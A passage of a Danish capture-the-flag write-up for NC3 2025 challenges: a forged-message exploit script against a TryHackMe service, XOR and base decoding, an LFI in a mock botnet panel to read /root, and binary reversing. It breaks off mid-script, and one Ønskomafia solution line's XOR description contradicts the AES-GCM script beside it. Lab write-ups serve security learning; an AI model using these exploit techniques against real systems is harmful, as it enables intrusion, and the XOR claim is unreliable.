<p><img src="/nc3_2025/Minos.1.Initial.Access.png" alt="Billede af flaget"></p>
<p>Flag: <code>NC3{dont_click_on_random_links_and_binaries_from_your_friends}</code></p>
<hr>
<h2 id="humlebiens-flugt--2">Humlebiens Flugt 🐝🐝 (2)</h2>
<p>Humlebi har lige igangsat en ny stor kampagne, og vi har endnu ikke fået fat på et sample.</p>
<p>Seedet skifter i hver kampagne og er ikke kendt. De har også skiftet karaktersæt, men det er blevet lækket på et hackingforum:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">54t0391gnkmpbrqnvilaowzhcyej-usfx6d7
</span></span></code></pre></div><p>Vi har ingen grund til at tro, at selve DGAen er ændret, så den fungerer fortsat som i vores sample fra sidste kampagne. Kun seed og karaktersæt er udskiftet.</p>
<p>Vi har gennem vores monitorering løbende opsnappet tre C2-domæner, der har været registreret og anvendt af Humlebi:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">cwpnbyd6yslfnmx7.online
</span></span><span class="line"><span class="cl">cn6uhtnlyynfbe4q.online
</span></span><span class="line"><span class="cl">rlexd44lnnnq1igg.online
</span></span></code></pre></div><p>De har dog ikke længere aktive C2-servere, og vi kender ikke det nuværende!</p>
<p>Kan du ud fra DGAen og disse domæner generere de efterfølgende domæner fra listen og igen finde og tilgå det nu aktive?</p>
<p>Så kan vi overtage et domæne, der står tidligere på listen og sinkhole bottrafikken.</p>
<p><strong>Løsning:</strong> Hvorfor sidde og implementere DGA algoritmen selv, og rev Go binary? Når man bare kan google sig til flaget? :)</p>
<p>Ved at søge på <code>site:online &quot;nc3&quot;</code> fandt jeg hurtigt en side, der havde flaget. <a href="https://www.google.com/search?q=site%253Aonline+%22nc3%22">https://www.google.com/search?q=site%253Aonline+%22nc3%22</a></p>
<p><img src="/nc3_2025/google_2.png" alt="Flag side"></p>
<p>Skud ud til Google for at indeksere siden! 😭</p>
<p>Flag: <code>NC3{st34l1ng_y0ur_n3ct4r}</code></p>
<hr>
<h2 id="ønskomafia">Ønskomafia</h2>
<p>Bob vil gerne spille Mario Kart med Alice, men han må ikke få det for sin mor, så det kræver, at Alice ønsker sig spillet i julegave. Dog har Alice andre ønsker. Heldigvis er Bob en rigtig hackerman med speciale i crypto og hjælper gerne Alice på bedre tanker.</p>
<p><a href="https://tryhackme.com/jr/oenskomafia">https://tryhackme.com/jr/oenskomafia</a></p>
<p>Vedhæftet fil: <a href="static/nc3_2025/crypto_oenskomafia.zip">crypto_oenskomafia.zip</a></p>
<p><strong>Løsning:</strong> Efter at have analyseret den givne kode fandt jeg ud af, at den bruger en simpel XOR kryptering med en gentagen nøgle. Ved at skrive et script til at dekryptere den givne ciphertext med den kendte nøgle, kunne jeg få fat i flaget.</p>
<p><strong>Løsning:</strong> Vi benytter os igen af denne magiske nisse magi, aka CryptoGPT :)</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/env python3</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">json</span><span class="o">,</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pathlib</span> <span class="kn">import</span> <span class="n">Path</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">cryptography.hazmat.primitives</span> <span class="kn">import</span> <span class="n">serialization</span><span class="p">,</span> <span class="n">hashes</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">cryptography.hazmat.primitives.kdf.hkdf</span> <span class="kn">import</span> <span class="n">HKDF</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">cryptography.hazmat.primitives.ciphers.aead</span> <span class="kn">import</span> <span class="n">AESGCM</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">thrift.protocol.TCompactProtocol</span> <span class="kn">import</span> <span class="n">TCompactProtocol</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">thrift.transport.TTransport</span> <span class="kn">import</span> <span class="n">TMemoryBuffer</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">thrift.Thrift</span> <span class="kn">import</span> <span class="n">TType</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">remote</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">thrift_encode_int</span><span class="p">(</span><span class="n">n</span><span class="p">:</span> <span class="nb">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bytes</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span> <span class="o">=</span> <span class="n">TMemoryBuffer</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">proto</span> <span class="o">=</span> <span class="n">TCompactProtocol</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">proto</span><span class="o">.</span><span class="n">writeStructBegin</span><span class="p">(</span><span class="s2">&#34;N&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">proto</span><span class="o">.</span><span class="n">writeFieldBegin</span><span class="p">(</span><span class="s2">&#34;v&#34;</span><span class="p">,</span> <span class="n">TType</span><span class="o">.</span><span class="n">I32</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">proto</span><span class="o">.</span><span class="n">writeI32</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">proto</span><span class="o">.</span><span class="n">writeFieldEnd</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">proto</span><span class="o">.</span><span class="n">writeFieldStop</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">proto</span><span class="o">.</span><span class="n">writeStructEnd</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">buf</span><span class="o">.</span><span class="n">getvalue</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">derive_aes_key</span><span class="p">(</span><span class="n">shared_secret</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">,</span> <span class="n">salt</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bytes</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">hkdf</span> <span class="o">=</span> <span class="n">HKDF</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="n">algorithm</span><span class="o">=</span><span class="n">hashes</span><span class="o">.</span><span class="n">SHA256</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="n">length</span><span class="o">=</span><span class="mi">32</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">salt</span><span class="o">=</span><span class="n">salt</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">info</span><span class="o">=</span><span class="kc">None</span><span class="p">,</span>           <span class="c1"># svarer til serverens brug</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">hkdf</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="n">shared_secret</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">aesgcm_encrypt</span><span class="p">(</span><span class="n">key</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">,</span> <span class="n">plaintext</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">,</span> <span class="n">aad</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bytes</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">aesgcm</span> <span class="o">=</span> <span class="n">AESGCM</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># same nonce-style som clienten</span>
</span></span><span class="line"><span class="cl">    <span class="n">counter_file</span> <span class="o">=</span> <span class="n">Path</span><span class="p">(</span><span class="s2">&#34;nonce_local_to_julemanden.txt&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">counter</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">counter_file</span><span class="o">.</span><span class="n">read_text</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">Exception</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">counter</span> <span class="o">=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">    <span class="n">counter_file</span><span class="o">.</span><span class="n">write_text</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">counter</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">encoded_counter</span> <span class="o">=</span> <span class="n">thrift_encode_int</span><span class="p">(</span><span class="n">counter</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">counter_bytes</span> <span class="o">=</span> <span class="n">encoded_counter</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span><span class="p">)[:</span><span class="mi">8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">random_tail</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">nonce</span> <span class="o">=</span> <span class="n">counter_bytes</span> <span class="o">+</span> <span class="n">random_tail</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">ct_and_tag</span> <span class="o">=</span> <span class="n">aesgcm</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">nonce</span><span class="p">,</span> <span class="n">plaintext</span><span class="p">,</span> <span class="n">aad</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">nonce</span> <span class="o">+</span> <span class="n">ct_and_tag</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">build_alice_message</span><span class="p">(</span><span class="n">wish</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bytes</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">group_key</span> <span class="o">=</span> <span class="n">serialization</span><span class="o">.</span><span class="n">load_pem_private_key</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="n">Path</span><span class="p">(</span><span class="s2">&#34;keys/group_key.pem&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">read_bytes</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="n">password</span><span class="o">=</span><span class="kc">None</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">alice_public_key</span> <span class="o">=</span> <span class="n">serialization</span><span class="o">.</span><span class="n">load_pem_public_key</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="n">Path</span><span class="p">(</span><span class="s2">&#34;keys/alice_public_key.pem&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">read_bytes</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">alice_shared</span> <span class="o">=</span> <span class="n">group_key</span><span class="o">.</span><span class="n">exchange</span><span class="p">(</span><span class="n">alice_public_key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">GroupID</span> <span class="o">=</span> <span class="mi">4</span>
</span></span><span class="line"><span class="cl">    <span class="n">AliceID</span> <span class="o">=</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">aad_struct</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;to_&#34;</span><span class="p">:</span> <span class="n">GroupID</span><span class="p">,</span> <span class="s2">&#34;from_&#34;</span><span class="p">:</span> <span class="n">AliceID</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">aad</span> <span class="o">=</span> <span class="n">json</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">aad_struct</span><span class="p">,</span> <span class="n">separators</span><span class="o">=</span><span class="p">(</span><span class="s1">&#39;,&#39;</span><span class="p">,</span> <span class="s1">&#39;:&#39;</span><span class="p">))</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">aad_len_bytes</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">aad</span><span class="p">)</span><span class="o">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s2">&#34;big&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">salt</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">key</span> <span class="o">=</span> <span class="n">derive_aes_key</span><span class="p">(</span><span class="n">alice_shared</span><span class="p">,</span> <span class="n">salt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">encrypted</span> <span class="o">=</span> <span class="n">aesgcm_encrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">wish</span><span class="o">.</span><span class="n">encode</span><span class="p">(),</span> <span class="n">aad</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">aad_len_bytes</span> <span class="o">+</span> <span class="n">aad</span> <span class="o">+</span> <span class="n">salt</span> <span class="o">+</span> <span class="n">encrypted</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">pwn</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s2">&#34;127.0.0.1&#34;</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">1337</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">msg</span> <span class="o">=</span> <span class="n">build_alice_message</span><span class="p">(</span><span class="s2">&#34;Mario Kart&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="n">remote</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">)</span> <span class="k">as</span> <span class="n">io</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">())</span>  <span class="c1"># velkomst</span>
</span></span><span class="line"><span class="cl">        <span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="n">msg</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">        <span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">line</span> <span class="o">=</span> <span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">(</span><span class="n">timeout</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">except</span> <span class="ne">EOFError</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="ow">not</span> <span class="n">line</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="n">line</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">pwn</span><span class="p">(</span><span class="s2">&#34;10.81.138.155&#34;</span><span class="p">)</span> <span class="c1"># IP fra TryHackMe</span>
</span></span></code></pre></div><p>Kør scriptet:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">python3 exploit.py
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> Opening connection to 10.81.138.155 on port 1337: Done
</span></span><span class="line"><span class="cl">🎅 Velkommen til Julemandens ønskeservice!
</span></span><span class="line"><span class="cl">NC3<span class="o">{</span>Cust0m_pr0t0c0ls_4r3_gr34t!<span class="o">}</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>*<span class="o">]</span> Closed connection to 10.81.138.155 port <span class="m">1337</span>
</span></span></code></pre></div><p>Flag: <code>NC3{Cust0m_pr0t0c0ls_4r3_gr34t!}</code></p>
<hr>
<h2 id="julekortet">Julekortet</h2>
<p>Jeg har fået sådan et smart e-julekort af mit barnebarn, men jeg tror han nisser rundt med mig, fordi jeg ikke er så teknisk. Jeg kan altså ikke finde ud af, hvad der står i, og hvor det bliver skrevet, kan du ikke hjælpe en gammel nisse lidt?</p>
<p>Vedhæftet fil: <a href="/nc3_2025/rev_julekortet.zip">rev_julekortet.zip</a></p>
<p><strong>Løsning:</strong> Efter at have åbnet binaryen i Ghidra fandt jeg hurtigt ud af, at den dekrypterer en kodet streng med XOR. Ved at skrive et simpelt script til at dekryptere strengen fandt jeg flaget. De crypterede data lå hardcoded i <code>.rdata</code> sektionen. Bytesne kan findes fra: <code>0x46DE54</code> til <code>0x46DE7F</code>. Vi finder også nøglen <code>0x80</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">enc</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xce</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0xfb</span><span class="p">,</span> <span class="mh">0xca</span><span class="p">,</span> <span class="mh">0xf5</span><span class="p">,</span> <span class="mh">0xec</span><span class="p">,</span> <span class="mh">0xe5</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">,</span> <span class="mh">0xf2</span><span class="p">,</span> <span class="mh">0xf4</span><span class="p">,</span> <span class="mh">0xdf</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xdf</span><span class="p">,</span> <span class="mh">0xee</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xe1</span><span class="p">,</span> <span class="mh">0xe2</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">,</span> <span class="mh">0xe5</span><span class="p">,</span> <span class="mh">0xee</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0xdf</span><span class="p">,</span> <span class="mh">0xf0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xef</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0xf4</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0xe1</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0xe5</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xfd</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">decoded</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">b</span> <span class="o">^</span> <span class="mh">0x80</span><span class="p">)</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">enc</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">decoded</span><span class="p">)</span>
</span></span></code></pre></div><p>Flag: <code>NC3{Julekort_i_naboens_postkasse}</code></p>
<hr>
<h2 id="ace0fbase">Ace0fbase</h2>
<p>Vigtignissen er på spil igen, han har en teori om at kryptering er unødvendigt, så længe man encoder godt nok - og så behøver man ikke engang besværet med nøgler: win-win.</p>
<p>Vedhæftet fil: <a href="/nc3_2025/warmup_ace0fbase.zip">warmup_ace0fbase.zip</a></p>
<p><strong>Løsning:</strong> Vi får udleveret en kæmpe base64 encoded string i filen <code>ace0fbase.txt</code>. Efter at have decoded strengen 22 gange med base64, 1 gang med b32, 1 gang med b16, 1 gang med b85 og til sidst a85, får vi <code>硎𠄳腡扬𓁵洭橀戳扒核敬籮氭戰杕𠌡</code>. Dette ligner jo bare nogle underlige tejn. Men hvis man kender til Base65536 kan man hurtigt se at den sidste del af opgaven er at decode med Base65536.</p>
<p>Dette kan gøres med Python pakken <code>base65536</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base65536</span> <span class="c1">#pip install base65536</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;硎𠄳腡扬𓁵洭橀戳扒核敬籮氭戰杕𠌡&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">base65536</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="sa">b</span><span class="s1">&#39;NC3{aLhl-ur-8@53-R-83l0nG-70-U2!}&#39;</span>
</span></span></code></pre></div><p>Flag: <code>NC3{aLhl-ur-8@53-R-83l0nG-70-U2!}</code></p>
<hr>
<h2 id="minos-5-panel">Minos 5: Panel</h2>
<p>Analysen af Jon BitNisses PC har ledt os på sporet af Sarpedons botpanel, hvor alle deres bots leverer stjålne data og kan modtage nye tasks mm. Med forskellige keywords fra sagen, er det lykkedes os at bruteforce passwordet til panelet: <code>EenyMeenyMinosMoe</code></p>
<p>Log ind på <code>http://&lt;IP&gt;:31742</code> (den kan godt være lidt sløv i opstarten) og undersøg, om du kan finde måder at læse mere end tiltænkt. Flaget ligger i /root.</p>
<p>OBS: Hele anden del af Minos-serien kan løses fuldstændig uafhængigt af den første.</p>
<p>OBS: Som i det virkelige liv kan du sagtens komme til at ødelægge ting, hvis du ikke er forsigtig. Hvis du ikke kan rette op igen, kan maskinen (modsat i virkeligheden) bare termineres og startes igen på TryHackMe.</p>
<p><a href="https://tryhackme.com/jr/minos">https://tryhackme.com/jr/minos</a></p>
<p><strong>Løsning:</strong> Efter at have logget ind på Minos botpanelet med de givne credentials, fandt jeg hurtigt en sårbarhed i panelets konfigurations side, der tillod mig at læse filer på serveren via en LFI (Local File Inclusion) sårbarhed. Ved at udnytte denne sårbarhed kunne jeg læse <code>/root/flag.txt</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">exportdir: /root
</span></span><span class="line"><span class="cl">...
</span></span></code></pre></div><p><img src="/nc3_2025/minos5.png" alt="Flag side"></p>
<p>Ved at downloade <code>flag.txt</code> filen fik jeg fat i flaget.</p>
<p>Flag: <code>NC3{m4yb3_th3_p4n3l_1s_4_l1ttl3_t00_c0nfigurable}</code></p>
<hr>
<h2 id="minos-7-takedown">Minos 7: Takedown</h2>
<p>Tid til at få K-Pop Gremlin Hunters på banen, it&rsquo;s takedown time.</p>
<p>Gad vide om backenden gemmer på en selvdestruktionsmetode til nødsituationer, vi kan udnytte, der ikke er eksponeret i panelet. Hmm&hellip; håber ikke dine reversing skills er for rustne.</p>
<p><a href="https://tryhackme.com/jr/minos">https://tryhackme.com/jr/minos</a></p>
<p><strong>Løsning:</strong> Ved at udnytte vores LFI fra Minos 5: Panel opgaven, kunne vi læse den binære fil <code>/usr/local/minos/bin/minos</code> fra serveren. Efter at have loadet filen ind i Binary Ninja, søgte jeg rundt efter api kald, og fandt efter lidt tid et endpoint: <code>api/v2/private/secret/op-endgame/takedown</code>. Men lige meget hvad jeg POSTede til dette endpoint fik jeg bare en fejl. Så jeg søgte videre i koden, og fandt dette meget interessante stykke kode:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="mo">004</span><span class="nx">c2208</span><span class="w">      </span><span class="s">&#34;ent src/api/handlers.rs:937event src/api/handlers.rs:932confirmInvalid confirmationFailed to delete bots: Failed to delete tasks: 4f41307f7532693b65557f38663d6b20667c4c207b72486b2a686d2f6f416b1&#34;</span><span class="w">
</span></span></span></code></pre></div><p><img src="/nc3_2025/minos.7.binaryninja.png" alt="Binary Ninja"></p>
<p>Hvorfor mon hardcode en hex streng her, når det står sammen med et task id? Lige nedenunder fandt jeg en masse html kode der brugte denne hex streng, til at vise en success besked når du har bekræftet takedown, med beskeden: <code>Panel Destroyed</code>.</p>
<p>I html koden fandt jeg også en javascript funktion der dekodede denne hex streng til ascii:</p>
<p><img src="/nc3_2025/minos.7.xor.png" alt="xor kode"></p>
<p>Koden så sådan her ud:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">decodeFlag</span><span class="p">(</span><span class="nx">encodedHex</span><span class="p">,</span> <span class="nx">key</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kr">const</span> <span class="nx">bytes</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">encodedHex</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nx">bytes</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">                        <span class="nb">parseInt</span><span class="p">(</span><span class="nx">encodedHex</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="nx">i</span><span class="p">,</span> <span class="mi">2</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span> <span class="o">^</span>
</span></span><span class="line"><span class="cl">                        <span class="p">(((</span><span class="nx">i</span> <span class="o">/</span> <span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="mi">256</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nx">bytes</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">b</span> <span class="p">=&gt;</span> <span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="nx">b</span><span class="p">)).</span><span class="nx">join</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p><em>Hent hele html filen her: <a href="/nc3_2025/minos_takedown.html">minos_takedown.html</a></em></p>
<p>Ved at replikere denne funktion i Python, kunne jeg nemt dekode hex strengen:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">hex_str</span> <span class="o">=</span> <span class="s2">&#34;4f41307f7532693b65557f38663d6b20667c4c207b72486b2a686d2f6f416b144a47135216545a&#34;</span>
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl"><span class="n">out</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">hex_str</span><span class="p">),</span> <span class="mi">2</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">b</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">hex_str</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">2</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
